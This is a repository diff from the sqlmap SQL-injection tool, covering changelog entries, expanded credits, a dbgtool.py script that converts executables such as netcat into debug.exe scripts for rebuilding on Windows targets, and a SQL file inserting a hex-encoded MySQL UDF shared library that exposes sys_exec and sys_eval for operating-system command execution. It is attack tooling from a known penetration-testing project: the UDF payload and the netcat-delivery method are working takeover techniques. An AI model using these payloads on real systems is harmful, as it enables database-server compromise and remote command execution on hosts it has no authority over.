-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
sqlmap (0.6.3-1) stable; urgency=low
* Major enhancement to get list of targets to test from Burp proxy
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to test if the web application technology supports
stacked queries (multiple statements) by providing option
--stacked-test which will be then used someday also by takeover
functionality;
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before
timeout the connection by providing option --timeout #, default is set
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content;
* Minor enhancement to be able to specify extra HTTP headers by providing
option --headers. By default Accept, Accept-Language and Accept-Charset
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is
provided;
* Minor bug fix to correctly handle session.error, session.timeout and
httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
sqlmap (0.6.2-1) stable; urgency=low sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not * Major bug fix to correctly dump tables entries when --stop is not
@@ -12,6 +157,7 @@ sqlmap (0.6.2-1) stable; urgency=low
variable) is an integer and, for some reasons, its resumed value from variable) is an integer and, for some reasons, its resumed value from
the session file is a string or a binary file, the query is executed the session file is a string or a binary file, the query is executed
again and its new output saved to the session file; again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump * Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database; not 'public' schema or a system database;
@@ -19,11 +165,10 @@ sqlmap (0.6.2-1) stable; urgency=low
database name, table name and column(s) are provided; database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly * Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warnin messages. * More user-friendly warning messages.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an * Major bug fix to blind SQL injection bisection algorithm to handle an
@@ -45,7 +190,6 @@ sqlmap (0.6.1-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low sqlmap (0.6-1) stable; urgency=low
* Complete code refactor and many bugs fixed; * Complete code refactor and many bugs fixed;
@@ -111,7 +255,6 @@ sqlmap (0.6-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
sqlmap (0.5-1) stable; urgency=low sqlmap (0.5-1) stable; urgency=low
* Added support for Oracle database management system * Added support for Oracle database management system
@@ -159,7 +302,6 @@ sqlmap (0.5-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
sqlmap (0.4-1) stable; urgency=low sqlmap (0.4-1) stable; urgency=low
* Added DBMS fingerprint based also upon HTML error messages parsing * Added DBMS fingerprint based also upon HTML error messages parsing
@@ -188,14 +330,14 @@ sqlmap (0.4-1) stable; urgency=low
the remote DBMS; the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse() * Major improvements in union.UnionCheck() and union.UnionUse()
functions to make it possible to exploit inband SQL injection also functions to make it possible to exploit inband SQL injection also
with database comment characters ('--' and '#') in UNION SELECT with database comment characters ('--' and '#') in UNION query
statements; statements;
* Added the possibility to save the output into a file while performing * Added the possibility to save the output into a file while performing
the queries (-o OUTPUTFILE) so it is possible to stop and resume the the queries (-o OUTPUTFILE) so it is possible to stop and resume the
same query output retrieving in a second time (--resume); same query output retrieving in a second time (--resume);
* Added support to specify the database table column to enumerate * Added support to specify the database table column to enumerate
(-C COL); (-C COL);
* Added inband SQL injection (UNION SELECT) support (--union-use); * Added inband SQL injection (UNION query) support (--union-use);
* Complete code refactoring, a lot of minor and some major fixes in * Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements; libraries, many minor improvements;
* Reviewed the directory tree structure; * Reviewed the directory tree structure;
@@ -205,7 +347,6 @@ sqlmap (0.4-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
sqlmap (0.3-1) stable; urgency=low sqlmap (0.3-1) stable; urgency=low
* Added module for MS SQL Server; * Added module for MS SQL Server;
@@ -226,7 +367,6 @@ sqlmap (0.3-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
sqlmap (0.2-1) stable; urgency=low sqlmap (0.2-1) stable; urgency=low
* complete refactor of entire program; * complete refactor of entire program;

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,16 +5,54 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature at SQLSecurity.com and permission to implement the update feature
taking data from his site taking data from his site
Simon Baker <simonb@sec-1.com>
for reporting some bugs
Daniele Bellucci <daniele.bellucci@gmail.com>
for starting sqlmap project and developing it between July and August
2006
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Cesar Cerrudo <cesar@argeniss.com>
for his Windows access token kidnapping tool Churrasco included in
sqlmap tree as a contrib library and used to run the stand-alone
payload stager on the target Windows machine as SYSTEM user if the
user wants to perform a privilege escalation attack,
http://www.argeniss.com/research/Churrasco.zip
Karl Chen <quarl@cs.berkeley.edu> Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference for providing with the multithreading patch for the inference
algorithm algorithm
Y P Chien <ypchien@cox.net>
for reporting a minor bug
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
for uploading and accepting the sqlmap Debian package to the official
Debian project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Alessandro Curio <alessandro.curio@gmail.com>
for reporting a minor bug
Stefano Di Paola <stefano.dipaola@wisec.it> Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features for suggesting good features
Dan Guido <dguido@gmail.com>
for promoting sqlmap in the context of the Penetration Testing and
Vulnerability Analysis class at the Polytechnic University of New York,
http://isisblogs.poly.edu/courses/pentest/
Adam Faheem <faheem.adam@is.co.za> Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs for reporting a few bugs
Jim Forster <jimforster@goldenwest.com>
for reporting a bug
Rong-En Fan <rafan@freebsd.org> Rong-En Fan <rafan@freebsd.org>
for commiting the sqlmap 0.5 port to the official FreeBSD project for commiting the sqlmap 0.5 port to the official FreeBSD project
repository repository
@@ -23,9 +61,16 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
for suggesting a speed improvement for bisection algorithm for suggesting a speed improvement for bisection algorithm
for reporting a bug when running against Microsoft SQL Server 2005 for reporting a bug when running against Microsoft SQL Server 2005
Alan Franzoni <alan.franzoni@gmail.com>
for helping me out with Python subprocess library
Ivan Giacomelli <truemilk@insiberia.net> Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug for reporting a bug
for suggesting a minor enhancement for suggesting a minor enhancement
for reviewing the documentation
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
for providing me with a minor patch
Davide Guerri <d.guerri@caspur.it> Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement for suggesting an enhancement
@@ -41,9 +86,37 @@ Will Holcomb <wholcomb@gmail.com>
for his MultipartPostHandler class to handle multipart POST forms and for his MultipartPostHandler class to handle multipart POST forms and
permission to include it within sqlmap source code permission to include it within sqlmap source code
Daniel Hückmann <sanitybit@gmail.com>
for reporting a minor bug
Mounir Idrassi <mounir.idrassi@idrix.net>
for his compiled version of UPX for Mac OS X
Luke Jahnke <luke.jahnke@gmail.com> Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0 for reporting a bug when running against MySQL < 5.0
Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org>
for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
for reporting a couple of bugs
Gabriel Lima <pato@bugnet.com.br>
for reporting a couple of bugs
Pavol Luptak <pavol.luptak@nethemba.com> Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter for reporting a bug when injecting on a POST data parameter
@@ -52,6 +125,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for providing really appreciated feedback for providing really appreciated feedback
for suggesting a lot of ideas and features for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation of a couple of
new features
Enrico Milanese <enricomilanese@gmail.com> Enrico Milanese <enricomilanese@gmail.com>
for reporting a bugs when using (-a) a single line User-Agent file for reporting a bugs when using (-a) a single line User-Agent file
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor
@@ -59,6 +136,14 @@ Enrico Milanese <enricomilanese@gmail.com>
Roberto Nemirovsky <roberto.paes@gmail.com> Roberto Nemirovsky <roberto.paes@gmail.com>
for pointing me out some enhancements for pointing me out some enhancements
Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at>
Laszlo Molnar <ml1050@cdata.tvnet.hu>
John F. Reiser <sales@bitwagon.com>
for their great tool UPX (Ultimate Packer for eXecutables) included
in sqlmap tree as a contrib library and used mainly to pack the
Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net
Antonio Parata <s4tan@ictsc.it> Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor
@@ -88,17 +173,46 @@ Richard Safran <allapplyhere@yahoo.com>
Tomoyuki Sakurai <cherry@trombik.org> Tomoyuki Sakurai <cherry@trombik.org>
for submitting to the FreeBSD project the sqlmap 0.5 port for submitting to the FreeBSD project the sqlmap 0.5 port
Philippe A. R. Schaeffer <schaeff@compuphil.de>
for reporting a minor bug
Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between
each HTTP request
Uemit Seren <uemit.seren@gmail.com>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <sid@notsosecure.com>
for providing me with ideas on the implementation of a couple of
features
M Simkin <mlsimkin@cox.net> M Simkin <mlsimkin@cox.net>
for suggesting a feature for suggesting a feature
Konrads Smelkovs <konrads@smelkovs.com>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Marek Stiefenhofer <m.stiefenhofer@r-tec.net>
for reporting a bug
Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
Alessandro Tanasi <alessandro@tanasi.it> Alessandro Tanasi <alessandro@tanasi.it>
for extensively beta-testing sqlmap for extensively beta-testing sqlmap
for suggesting many features and reporting some bugs for suggesting many features and reporting some bugs
for reviewing the documentation
Andres Tarasco <atarasco@gmail.com>
for providing me with good feedback
Efrain Torres <et@metasploit.com> Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap for helping me out to improve the Metasploit Framework 3 sqlmap
auxiliary module and for commiting it on the Metasploit official auxiliary module and for commiting it on the Metasploit official
Subversion repository subversion repository
for his great Metasploit WMAP Framework for his great Metasploit WMAP Framework
Sandro Tosi <matrixhasu@gmail.com> Sandro Tosi <matrixhasu@gmail.com>
@@ -110,6 +224,14 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
for benchmarking sqlmap in the context of his SQL injection for benchmarking sqlmap in the context of his SQL injection
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception
Anthony Zboralski <anthony.zboralski@bellua.com>
for providing me with detailed feedback
for reporting a few minor bugs
for donating to sqlmap development
fufuh <fufuh@users.sourceforge.net> fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows for reporting a bug when running on Windows
@@ -122,6 +244,19 @@ Sylphid <sylphid.su@sti.com.tw>
== Organizations == == Organizations ==
Black Hat team <info@blackhat.com>
for the opportunity to present my research on 'Advanced SQL injection
to operating system full control' at Black Hat Europe 2009 Briefings on
April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
the sqlmap 0.7 release candidate version new features during my
presentation
Metasploit LLC <msfdev@metasploit.com>
for their powerful tool Metasploit Framework 3, used by sqlmap, among
others things, to create the payload stager and establish an
out-of-band connection between sqlmap and the database server,
http://www.metasploit.com/framework
OWASP Board <http://www.owasp.org> OWASP Board <http://www.owasp.org>
for sponsoring part of the sqlmap development in the context of OWASP for sponsoring part of the sqlmap development in the context of OWASP
Spring of Code 2007 Spring of Code 2007

24
extra/dbgtool/README.txt Normal file
View File

@@ -0,0 +1,24 @@
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
and optionally the output debug.exe script file name.
Example:
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
This will create a ASCII text file with CRLF line terminators called
nc.scr.
Such file can then be converted to its original portable executable with
the Windows native debug.exe, that is installed by default in all Windows
systems:
> debug.exe < nc.scr
To be able to execute it on Windows you have to rename it to end with
'.com' or '.exe':
> ren nc_exe nc.exe
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

114
extra/dbgtool/dbgtool.py Executable file
View File

@@ -0,0 +1,114 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
if fileSize > 65280:
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
sys.exit(1)
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
fp = open(inputFile, 'rb')
fileContent = fp.read()
for fileChar in fileContent:
unsignedFileChar = struct.unpack('B', fileChar)[0]
if unsignedFileChar != 0:
counter2 += 1
if not scrString:
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
scrString += " %02x" % unsignedFileChar
elif scrString:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
counter += 1
if counter2 == 20:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
sys.exit(1)
script = convert(inputFile)
if outputFile:
fpOut = open(outputFile, 'w')
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input binary file')
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e:
parser.error(e)
inputFile = args.inputFile
outputFile = args.outputFile
main(inputFile, outputFile)

View File

@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
the example below. the example below.
Note that if you are willing to run Metasploit's sqlmap auxiliary module on Note that if you are willing to run Metasploit's sqlmap auxiliary module on
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to through WMAP framework you first need to install sqlmap on your system or
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch add its file system path to the PATH environment variable.
msfconsole because this module has been officially integrated in Metasploit
from the release 3.2.
$ ./msfconsole $ ./msfconsole
@@ -77,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
SQLMAP: SQLMAP:
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
msf auxiliary(wmap_sqlmap) > msf auxiliary(wmap_sqlmap) >
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

View File

@@ -0,0 +1,120 @@
-- Notes:
--
-- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL
-- 5.1.30 and MySQL 4.1.22 (TODO: confirm)
--
-- SO compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- SO compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000);
UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff);
UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379);
UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274);
UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b);
UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000);
UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff);
UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000);
UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000);
